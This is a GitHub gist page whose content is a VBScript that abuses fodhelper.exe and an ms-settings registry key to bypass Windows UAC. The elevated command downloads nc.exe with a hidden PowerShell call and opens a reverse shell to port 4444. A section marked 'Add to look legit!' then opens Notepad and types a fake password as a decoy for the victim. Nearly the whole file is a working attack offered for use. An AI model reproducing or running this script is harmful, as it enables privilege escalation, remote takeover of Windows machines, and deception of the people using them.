Skip to content

Instantly share code, notes, and snippets.

@tommelo
Created April 25, 2018 18:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tommelo/7178fa57df0949529261e537eebf95f5 to your computer and use it in GitHub Desktop.
Save tommelo/7178fa57df0949529261e537eebf95f5 to your computer and use it in GitHub Desktop.
Const HKEY_CURRENT_USER = &H80000001
Const FodHelperPath = "C:\\Windows\\System32\\fodhelper.exe"
Const RegKeyPathStr = "SOFTWARE\\Classes\\ms-settings\\shell\\open\\command"
Const RegKeyPath = "Software\\Classes\\ms-settings\\shell\\open\\command"
Const DelegateExecRegKeyName = "DelegateExecute"
Const DelegateExecRegKeyValue = ""
Const DefaultRegKeyName = ""
Const DefaultRegKeyValue = "cmd.exe /c powershell.exe -nop -w hidden iwr -outf C:\Windows\System32\nc.exe http://127.0.0.1/nc.exe & C:\Windows\System32\nc.exe 127.0.0.1 4444 -e cmd.exe"
Const RegObjectPath = "winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv"
Set Registry = GetObject(RegObjectPath)
Registry.CreateKey HKEY_CURRENT_USER, RegKeyPath
Registry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DelegateExecRegKeyName, DelegateExecRegKeyValue
Registry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DefaultRegKeyName, DefaultRegKeyValue
Set Shell = WScript.CreateObject("WScript.Shell")
Shell.Run FodHelperPath, 0, False
'----------------------------------------------------
' Add to look legit!
'----------------------------------------------------
Set Notepad = WScript.CreateObject("WScript.Shell")
Notepad.Run "C:\\Windows\\System32\\notepad.exe"
WScript.Sleep 1000
Notepad.SendKeys "Password: secure"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment